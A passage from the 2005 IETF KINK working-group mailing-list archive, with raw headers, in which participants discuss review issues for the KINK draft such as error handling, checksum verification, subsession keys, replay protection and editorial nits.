Notify type. #31 [*] behavior on KINK_ERROR In implementor's point of view, I'd like to see initiator's behavior in receiving KINK_ERROR to be defined. For example: - When KINK_OK is received, initiator MAY act as if the KINK_ERROR payload was not included in the messaged. - When KINK_BADQMVERS is received and the Cksum is verified, initiator MAY retry in other Quick Mode version. - When one of other error codes is received and the Cksum is verified, initiator SHOULD abort the negotiation. #32 [-] I-D nits Review the I-D nits and RFC authors docs. I spotted a lot of mechanical things (number of lines per page; avoid hyphenation; use ragged right margin; need two spaces after sentence-ending period; fix page numbers in table of contents; add section numbers to TOC) most of which I think are specified in one of those documents. (Ken Raeburn) the document needs to meet all the ID nits when it is submitted. (Sam Hartman) #33 [-] IANA considerations (section 11) I think the correct terminology is "port number", not "port", and they're "assigned", not "created". This section says no new registries are required in the first paragraph, and the third one specifies that IANA must create one (but without the associated procedural data that is required nowadays). Are the KINK payload types and ISAKMP payload types actually ever used in the same field? If not, I don't think they need to come out of the same registry. (Ken Raeburn) Needs work. You may want to stop by tthe IANA office hours and ask them for advice. They are generally quite good at working with authors to figure out how things need to be specified. (Sam Hartman) #34 [-] Wording/Terminology Section 2 and 10.1. Kerberos is now using the term user-user rather than user-to-user. (Sam Hartman) Section 2. Principals are not either client or service principals; they can and often do fill both roles. (Sam Hartman) Section 2, last paragraph. "Between" is generally non-directional, but in this case, a direction seems to be intended to be inferred; try "from...to" instead. (Ken Raeburn) Section 3, English usage/grammar problems with the first two paragraphs. (Sam Hartman) Section 3. which allows a final acknowledgment message when the respondent needs a full three-way handshake. This is only needed when the optimistic keying route is not taken, though it is expected that that will not be the norm. KINK also provides rekeying and dead peer detection as What is expected not to be the norm? Please reword. (Sam Hartman) Section 4.3, discussing attributes, mixes singular and plural indications. The word "lone" appears to be popular with the author, too. :-) (Ken Raeburn) Sec 8: "By optional, it is meant..." is badly worded. (Ken Raeburn) #35 [-] References The reference to [PKCROSS] is unnecessary, and only happens once, in the introduction. I'd suggest dropping it. That's one less unpublished I-D in the references section. (Ken Raeburn) [KRBREVS] is referenced but not listed in the references section. (Ken Raeburn) Sec 5.1.7, next to last paragraph on page 21, is "IKE" (the protocol) fuzzy about use of different SAs, or is it "[IKE]" (the document)? (Ken Raeburn) Section 1: Remove the reference to pkcross or cite something outside the IETF. It's an expired ID without and active editor. (Sam Hartman) Section 1: Add an informative reference to IKE. (Sam Hartman) Section 2: Cite a reference for DER. (Sam Hartman) Section 5: DOI Cite a specific registry please. IANA registries are typically named, and a URL reference would probably be appropriate. #36 [-] Typos 4.4.2. Dead Peer Detection In the fourth paragraph, "loose" is to be "lose". 5.1 KINK Payloads In the first item, the length of the Next Payload should be one octet instead of two. 5.1.1. KINK Padding Rules In the second item, "other other" is to be "other". 5.1.1. KINK Padding Rules The first item in the list should end with a period like the others. (Ken Raeburn) 5.1.5. KINK_TGT_REQ Payload In the third item, "krbtgt/REALM/@REALM" is to be "krbtgt/REALM@REALM". 5.1.6. KINK_TGT_REP Payload In the caption of Figure 13, "KINK_TGT_REQ" is to be "KINK_TGT_REP". 7.3. CREATE "IPspec" is to be "IPsec". 7.5. STATUS In the last paragraph, "REPLY KINK Header" should be in one line. In the last paragraph, "[KRB_ERROR]" is to be "[KINK_ERROR]". overall: "'s" is used in some places where I'd use "s" for a plural form. -- KAMADA Ken'ichi From owner-ietf-kink Mon Jan 31 02:26:01 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0VAPmuF017257; Mon, 31 Jan 2005 02:26:00 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0VAPSP4017104; Mon, 31 Jan 2005 02:25:28 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org ([203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0VAOj5U016457 for ; Mon, 31 Jan 2005 02:25:22 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j0VANshB002857 for ; Mon, 31 Jan 2005 19:23:56 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: racoon2 release In-Reply-To: Your message of "Fri, 28 Jan 2005 01:57:13 -0500" <6199f4b3455738c33a45787a74a5cf9e@mit.edu> References: <6199f4b3455738c33a45787a74a5cf9e@mit.edu> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050131192331B.sakane@kame.net> Date: Mon, 31 Jan 2005 19:23:31 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 26 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, Ken. You are right. I only sent the README in the release to the racoon2 mailing list. it described the draft version kink-06, but it did not describe our plan related to developing KINK daemon. i will add it to the next release. thank you. > On Jan 27, 2005, at 22:40, Shoichi Sakane wrote: > > We have removed our IKEv2 code from the release because we have an IPR > > issue related to IKEv2. We will release it after the issue will > > be solved. KINK is only supported in the release currently. > > I may be being overly picky, but: KINK isn't finalized. KINK would > presumably be the name of the final version of the protocol. So it > wouldn't be correct to say that it supports KINK, but instead you > should indicate that it supports a specific draft. And I expect that > the final version will not be 100% compatible with the current draft > (if only in the handling of some of the crypto aspects I've complained > about), so it would make sense to advise users of that fact as well, > and plan for either an incompatible change down the road, or support > for both draft and final versions in some future release. > > That said, I think it's great that you're doing this. Thank you! > > Ken > From owner-ietf-kink Mon Jan 31 16:43:40 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j110heLL038312; Mon, 31 Jan 2005 16:43:40 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j110he2L038311; Mon, 31 Jan 2005 16:43:40 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j110hevW038302 for ; Mon, 31 Jan 2005 16:43:40 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-2.cisco.com with ESMTP; 31 Jan 2005 16:50:33 -0800 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j110hUM8001801; Mon, 31 Jan 2005 16:43:30 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j110dIik002005; Mon, 31 Jan 2005 16:39:18 -0800 Subject: Re: Subsession keys (Re: KINK issue list) From: Michael Thomas To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org In-Reply-To: <20050127171703FZ%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171703FZ%kamada@nanohz.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-/29ectudUcUmHhj6yzeW" Organization: Cisco Systems Message-Id: <1107218609.31993.28.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Mon, 31 Jan 2005 16:43:29 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107218358.313906"; x:"432200"; a:"rsa-sha1"; b:"nofws:968"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"AHwn12Sw8p4h910lDy/b9mSLKTPNkc+KZP47iKh6+XujlUnNygZq/AGp1fTP/VMWPffkvmqD" "GSx5rVHP3PNu4EwMF31ky+5jxUBwLIwITELK2IOtlt5y1AvDYtTF1d1RnY5YXNSP0qHPjHbbctl" "HLz7kqI3j8ZnjxFpo8AzgXpc="; c:"Subject: Re: Subsession keys (Re: KINK issue list)"; c:"From: Michael Thomas "; c:"Date: Mon, 31 Jan 2005 16:43:29 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-/29ectudUcUmHhj6yzeW Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2005-01-27 at 00:17, KAMADA Ken'ichi wrote: > At Thu, 20 Jan 2005 11:04:48 +0900, > "KAMADA Ken'ichi" wrote: > >=20 > > [*] Subsession keys (section 5 and 8) > >=20 > > Are subsession keys ignored? (Ken Raeburn) >=20 > I think they should not be ignored. I'm hopelessly behind here, but I don't think I saw a response to this... why should they be taken into account? We're already mixing in entropy from the kdc and the ipsec peers. What is more entropy in the form of subsession keys buying us? Or am I missing the point? Mike --=-/29ectudUcUmHhj6yzeW Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQf7QsbMsDAj/Eq++AQJiJgP/RraKTMoSpaBaFr3CwUyGLXGhlQ7557nM 8diU3kAJ79hty3NlH9Xab/u/icCir/yy5PtsI1vmfgpuTyjohnNDbgdmOecqGEQS wkx6LJ3a2wCD7FnxyPWXAoK/RfZiNea5BGbi83bX4BufLEBpoausdWH2nvXvPmgk HBzm53JoAc8= =8SGE -----END PGP SIGNATURE----- --=-/29ectudUcUmHhj6yzeW-- From owner-ietf-kink Mon Jan 31 16:55:12 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j110tChd038924; Mon, 31 Jan 2005 16:55:12 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j110tCcB038923; Mon, 31 Jan 2005 16:55:12 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nwkea-mail-1.sun.com (nwkea-mail-1.sun.com [192.18.42.13]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j110tBAm038917 for ; Mon, 31 Jan 2005 16:55:11 -0800 (PST) (envelope-from sommerfeld@sun.com) Received: from eastmail1bur.East.Sun.COM ([129.148.9.49]) by nwkea-mail-1.sun.com (8.12.10/8.12.9) with ESMTP id j110t1iI015546; Mon, 31 Jan 2005 16:55:01 -0800 (PST) Received: from thunk (thunk.East.Sun.COM [129.148.174.66]) by eastmail1bur.East.Sun.COM (8.12.10+Sun/8.12.10/ENSMAIL,v2.2) with ESMTP id j110t0Qp010335; Mon, 31 Jan 2005 19:55:00 -0500 (EST) Received: from thunk.east.sun.com (localhost [127.0.0.1]) by thunk (8.13.3+Sun/8.13.3) with ESMTP id j110t0ob005051; Mon, 31 Jan 2005 19:55:00 -0500 (EST) Received: (from sommerfeld@localhost) by thunk.east.sun.com (8.13.3+Sun/8.13.3/Submit) id j110t0ub005050; Mon, 31 Jan 2005 19:55:00 -0500 (EST) X-Authentication-Warning: thunk.east.sun.com: sommerfeld set sender to sommerfeld@sun.com using -f Subject: Re: Subsession keys (Re: KINK issue list) From: Bill Sommerfeld To: Michael Thomas Cc: "KAMADA Ken'ichi" , ietf-kink@vpnc.org In-Reply-To: <1107218609.31993.28.camel@thomasm-lnx.cisco.com> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171703FZ%kamada@nanohz.org> <1107218609.31993.28.camel@thomasm-lnx.cisco.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Message-Id: <1107219299.1705.360.camel@thunk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6.325 Date: Mon, 31 Jan 2005 19:54:59 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Mon, 2005-01-31 at 19:43, Michael Thomas wrote: > I'm hopelessly behind here, but I don't think I saw > a response to this... why should they be taken into > account? We're already mixing in entropy from the kdc > and the ipsec peers. What is more entropy in the form > of subsession keys buying us? Or am I missing the point? the kerberos session key tends to be pretty long-lived and will be the same from authentication to authentication between the same set of peers until the ticket expires. subsession keys are different every time. it's low cost and gets cryptographers off your back. but it's not really all that different from a per-exchange nonce. - Bill From owner-ietf-kink Mon Jan 31 17:41:33 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j111fXgt041515; Mon, 31 Jan 2005 17:41:33 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j111fXGY041514; Mon, 31 Jan 2005 17:41:33 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j111fWKi041508 for ; Mon, 31 Jan 2005 17:41:33 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id C27E8E0063; Mon, 31 Jan 2005 20:41:30 -0500 (EST) To: Michael Thomas Cc: "KAMADA Ken'ichi" , ietf-kink@vpnc.org Subject: Re: Subsession keys (Re: KINK issue list) References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171703FZ%kamada@nanohz.org> <1107218609.31993.28.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Mon, 31 Jan 2005 20:41:30 -0500 In-Reply-To: <1107218609.31993.28.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Mon, 31 Jan 2005 16:43:29 -0800") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> On Thu, 2005-01-27 at 00:17, KAMADA Ken'ichi wrote: >> At Thu, 20 Jan 2005 11:04:48 +0900, >> "KAMADA Ken'ichi" wrote: >> > >> > [*] Subsession keys (section 5 and 8) >> > >> > Are subsession keys ignored? (Ken Raeburn) >> >> I think they should not be ignored. Michael> I'm hopelessly behind here, but I don't think I saw a Michael> response to this... why should they be taken into Michael> account? We're already mixing in entropy from the kdc and Michael> the ipsec peers. What is more entropy in the form of Michael> subsession keys buying us? Or am I missing the point? What Bill said is one reason. My reason for bringing up the issue is that you are behaving differently than all other Kerberos applications. Kerberos libraries are actually flexible enough to do what your spec currently asks but it requires implementers to specifically handle subkeys that way. If you don't have a reason for being different then please be the same as everyone else. If you do have a reason, explain it and I'll be happy. --Sam From owner-ietf-kink Mon Jan 31 17:55:51 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j111tprS042398; Mon, 31 Jan 2005 17:55:51 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j111tprO042397; Mon, 31 Jan 2005 17:55:51 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j111tox4042361 for ; Mon, 31 Jan 2005 17:55:50 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:200:103:2000:e8e0:f89c:4c65:a4ac] ([2001:200:103:2000:e8e0:f89c:4c65:a4ac]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Tue, 01 Feb 2005 10:54:57 +0900 id 00007DB3.41FEE172.00001E1B Message-ID: <41FEE165.2030400@miyazawa.org> Date: Tue, 01 Feb 2005 10:54:45 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: "KAMADA Ken'ichi" , ietf-kink@vpnc.org Subject: Re: KINK issue list References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> In-Reply-To: <20050120110448RR%kamada@nanohz.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, I have read the mails and I think these issues could be closed. Kamada-san described the checksum calculation and verification in this mail. http://www.vpnc.org/ietf-kink/mail-archive/msg00336.html If KINK adopts this, check sum length in KINK header will be two octets because kcrypto specifies that the output of get_mic is no longer than 65535 octets in the section 4. BTW, if there are no strong reason, I like to move the check sum field from the header to the end of message, because we could be easy to access KINK_AP_REQ/REP payload and forget it after verification. KAMADA Ken'ichi wrote: > Here is a merged version of KINK issues expressed till now. > If I missed some of them you noted, please let me know. > > > > > [*] CksumLen (section 5) > > Diagram indicates one octet for cksumlen, but the text (and > kcrypto specifications) say it should be two. > > > [**] etype does not directly indicate checksum type (section 5) > > a key's encryption type does not directly indicate > a checksum type, it indicates an encryption(-with-integrity-protection) > scheme, which does include a required-to-implement checksum type > (Ken Raeburn) > > > [**] Kerberos allows variable length checksum (section 5) > > I'd have to go back and check, but I don't think we require that > a given checksum type have a fixed output size, so "leave X amount of > space and fill it with zero for computing the checksum" is questionable > too. (Ken Raeburn) > > > [*] Kerberos checksum is not deterministic (section 5) > > The Kink description of how to verify a checksum assumes that > Kerberos checksums are deterministic; this is not strictly required. > (Sam Hartman) > > let kcrypto specify how > to verify a checksum, as they're not required to be deterministic, so > the "compute it again and compare" approach specified in section 5 is > wrong (Ken Raeburn) > > The spec should describe how to verify checksum as follows. > > To verify the checksum, the checksum is saved, and the > checksum field is zeroed out. The resulting message and the saved > checksum are passed to the verification function. If the verification > fails, the message MUST be dropped. > > -- Kazunori Miyazawa From owner-ietf-kink Mon Jan 31 17:58:06 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j111w6mS042491; Mon, 31 Jan 2005 17:58:06 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j111w6fm042490; Mon, 31 Jan 2005 17:58:06 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j111w699042477 for ; Mon, 31 Jan 2005 17:58:06 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 99F205 for ; Tue, 1 Feb 2005 10:57:56 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1fwyrr; Tue, 1 Feb 2005 10:57:56 +0900 (JST) Date: Tue, 01 Feb 2005 10:59:00 +0900 Message-ID: <20050201105900MJ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: AD Review: draft-ietf-kink-kink [starting at section 5] In-Reply-To: <20050129021939.1963F76C87@luminous.mit.edu> References: <20050129021939.1963F76C87@luminous.mit.edu> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: issue #13 Replay protection (section 5) At Fri, 28 Jan 2005 21:19:39 -0500 (EST), Sam Hartman wrote: > > [**] The document claims that the transaction id is not used for > replay detection because Kerberos provides that. How is that true? > The authenticator is protected against replays but how is the rest of > the message bound to that specific authenticator instead of to a > session key of a ticket? The KINK checksum do it. It is calculated from the whole message including the authenticator, so replaying a part of a old message with a newly captured authenticator will not succeed. Am I missing your point? -- KAMADA Ken'ichi From owner-ietf-kink Mon Jan 31 18:52:57 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j112qv4H045940; Mon, 31 Jan 2005 18:52:57 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j112qvPx045939; Mon, 31 Jan 2005 18:52:57 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j112quNr045933 for ; Mon, 31 Jan 2005 18:52:57 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 8230E5 for ; Tue, 1 Feb 2005 11:52:56 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1M61Cm; Tue, 1 Feb 2005 11:52:56 +0900 (JST) Date: Tue, 01 Feb 2005 11:54:00 +0900 Message-ID: <20050201115400MZ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] In-Reply-To: References: User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 18 Jan 2005 17:31:08 -0500, Sam Hartman wrote: > > Section 4.3: > > [**] I need explicit review from the IPsec reviewer of this section to > make sure it is compatible with 2401bis. IN addition, any differences > between how this works and how IKE would set up the same SA need to be > called out. It is fine for there to be differences, but I want to > make sure the working group explicitly decided the differences are a > good thing. > > I'm somewhat concerned that 4.3 is not specific enough to describe > exactly what key gets set up. I.E. I'm concerned it may not be > detailed enough for interoperable implementations. Section 4.3 describes the message flow and section 7.3 describes the message structure. Differences between KINK and IKE is described in section 7.3 (and also in section 4.4.1, 5.1.7, and 6). I think they are enough to be interoperable (at least regarding SA setup). Is your concern resolved if section 4 referes to section 7? -- KAMADA Ken'ichi From owner-ietf-kink Tue Feb 1 08:21:36 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j11GLZQM036240; Tue, 1 Feb 2005 08:21:35 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j11GLZiN036239; Tue, 1 Feb 2005 08:21:35 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-5.cisco.com (sj-iport-5.cisco.com [171.68.10.87]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j11GLZLP036228 for ; Tue, 1 Feb 2005 08:21:35 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-5.cisco.com with ESMTP; 01 Feb 2005 08:23:25 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j11GLPNt002761; Tue, 1 Feb 2005 08:21:25 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j11GHBja006994; Tue, 1 Feb 2005 08:17:11 -0800 Subject: Re: Subsession keys (Re: KINK issue list) From: Michael Thomas To: Sam Hartman Cc: "KAMADA Ken'ichi" , ietf-kink@vpnc.org In-Reply-To: References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171703FZ%kamada@nanohz.org> <1107218609.31993.28.camel@thomasm-lnx.cisco.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-M7ThUtFx1eN6K8G96WF7" Organization: Cisco Systems Message-Id: <1107274884.1183.7.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Tue, 01 Feb 2005 08:21:24 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107274631.295339"; x:"432200"; a:"rsa-sha1"; b:"nofws:1678"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"RddgFH25CYmlCW917fnI4Vm5I7QAPkfbXpkusKHUIKGlqvHbBEKe4mMJXw7cvfik9+XehhjA" "WGuT3dlt6UhKAAIXAJd85vnpFA8mjHkJ6VALNDBYOUdRoL4Jl8buIW7V2H5laXjZCd61h3ODisw" "Cqk6k2xH12ChOZDizCDKPGgI="; c:"Subject: Re: Subsession keys (Re: KINK issue list)"; c:"From: Michael Thomas "; c:"Date: Tue, 01 Feb 2005 08:21:24 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-M7ThUtFx1eN6K8G96WF7 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2005-01-31 at 17:41, Sam Hartman wrote: > >>>>> "Michael" =3D=3D Michael Thomas writes: > My reason for bringing up the issue is that you are behaving > differently than all other Kerberos applications. Kerberos libraries > are actually flexible enough to do what your spec currently asks but > it requires implementers to specifically handle subkeys that way. >=20 > If you don't have a reason for being different then please be the same > as everyone else. If you do have a reason, explain it and I'll be > happy. I'm sorry, but I'm having a real problem with this guilty until proven innocent stance. This document was through several iterations of review from the IESG and just got dropped on the floor by the IESG. I think it's incumbent=20 on those who are throwing darts here to say if there are REAL PROBLEMS, not just harmonization with the universe. In this particular case, I had *zero* problem coding this up. Is there an _actual_ cryptographical problem here, or is this another trip to the beauty shop? There are people who have been writing to *this* spec for several years now -- why should we force them to change just because the aesthetics seem better to people who have no stake in=20 that code and work? And FWIW, the key generation was discussed at long, long length before last call. I doubt that Jeff remembers it, but he was part of the discussion as I recall. Mike --=-M7ThUtFx1eN6K8G96WF7 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQf+shLMsDAj/Eq++AQLnOQP+Km5vqsn1ICf55MBKZZfKK8j7gorfkl/U ZA7KnhQ/StATSoAokz3udKkSOsYyrWk5X35kecj7CW6uO1jzt+TPSm/pBB9DhD1J 6n3Ph/Fse0T+jHBjaYNGVwEFqCF9jSepr7v3zpZg1am49xAspFac/x/Qx00ovHZ3 tRwst17/rNo= =r9go -----END PGP SIGNATURE----- --=-M7ThUtFx1eN6K8G96WF7-- From owner-ietf-kink Tue Feb 1 14:05:40 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j11M5ecW060691; Tue, 1 Feb 2005 14:05:40 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j11M5eZi060690; Tue, 1 Feb 2005 14:05:40 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from 